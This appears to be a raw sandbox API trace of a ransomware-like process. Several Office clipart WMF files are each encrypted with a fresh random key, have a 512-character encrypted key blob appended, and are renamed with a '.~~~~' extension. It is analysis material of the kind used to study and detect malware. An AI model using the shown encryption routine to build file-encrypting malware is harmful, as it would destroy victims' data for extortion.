	[0092.446] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffda84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.446] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x257c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x257c, lpOverlapped=0x0) returned 1
	[0092.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.447] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.447] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.447] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.447] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.447] CloseHandle (hObject=0x124) returned 1
	[0092.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.~~~~")) returned 1
	[0092.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.448] GetLastError () returned 0x0
	[0092.449] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.450] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.450] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.450] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21244035689) returned 1
	[0092.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0dec4d0, dwHighDateTime=0x1d60e1e)) 
	[0092.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387d48
	[0092.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387d48 | out: hHeap=0x300000) returned 1
	[0092.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38af50
	[0092.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.451] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.451] GetLastError () returned 0x0
	[0092.451] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.451] GetLastError () returned 0x0
	[0092.456] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffbd88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.456] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x4278, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x4278, lpOverlapped=0x0) returned 1
	[0092.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.457] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.457] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.457] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.457] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.457] CloseHandle (hObject=0x124) returned 1
	[0092.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.458] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.~~~~")) returned 1
	[0092.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.459] GetLastError () returned 0x0
	[0092.460] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d8568) returned 1
	[0092.461] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0092.461] CryptReleaseContext (hProv=0x28d8568, dwFlags=0x0) returned 1
	[0092.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0092.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.461] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21245116926) returned 1
	[0092.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0e12630, dwHighDateTime=0x1d60e1e)) 
	[0092.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387db8
	[0092.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387db8 | out: hHeap=0x300000) returned 1
	[0092.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38afe8
	[0092.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.462] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.462] GetLastError () returned 0x0
	[0092.462] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.462] GetLastError () returned 0x0
	[0092.560] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff75ee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.569] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x8a12, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x8a12, lpOverlapped=0x0) returned 1
	[0092.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.589] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.589] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.589] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.589] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.589] CloseHandle (hObject=0x124) returned 1
	[0092.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.589] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.~~~~")) returned 1
	[0092.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.592] GetLastError () returned 0x0
	[0092.592] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.593] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.593] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.593] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21258343625) returned 1
	[0092.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0f43130, dwHighDateTime=0x1d60e1e)) 
	[0092.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388020
	[0092.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388020 | out: hHeap=0x300000) returned 1
	[0092.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b118
	[0092.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.594] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.594] GetLastError () returned 0x0
	[0092.594] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.594] GetLastError () returned 0x0
	[0092.596] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffa50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.596] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x5b0, lpOverlapped=0x0) returned 1
	[0092.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.597] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.597] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.598] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.598] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.598] CloseHandle (hObject=0x124) returned 1
	[0092.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.598] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.~~~~")) returned 1
	[0092.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.599] GetLastError () returned 0x0
	[0092.599] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.600] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.600] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.600] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21259048364) returned 1
	[0092.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0f69290, dwHighDateTime=0x1d60e1e)) 
	[0092.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388058
	[0092.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388058 | out: hHeap=0x300000) returned 1
	[0092.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b7a0
	[0092.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.601] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.601] GetLastError () returned 0x0
	[0092.601] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.601] GetLastError () returned 0x0
	[0092.604] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffeb3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.604] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x14c2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x14c2, lpOverlapped=0x0) returned 1
	[0092.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.605] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.605] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.605] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.605] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.605] CloseHandle (hObject=0x124) returned 1
	[0092.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.605] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.~~~~")) returned 1
	[0092.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.606] GetLastError () returned 0x0
	[0092.606] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.607] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.608] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.608] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21259783419) returned 1
	[0092.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0f69290, dwHighDateTime=0x1d60e1e)) 
	[0092.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388090
	[0092.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388090 | out: hHeap=0x300000) returned 1
	[0092.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b838
	[0092.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.608] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.609] GetLastError () returned 0x0
	[0092.609] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
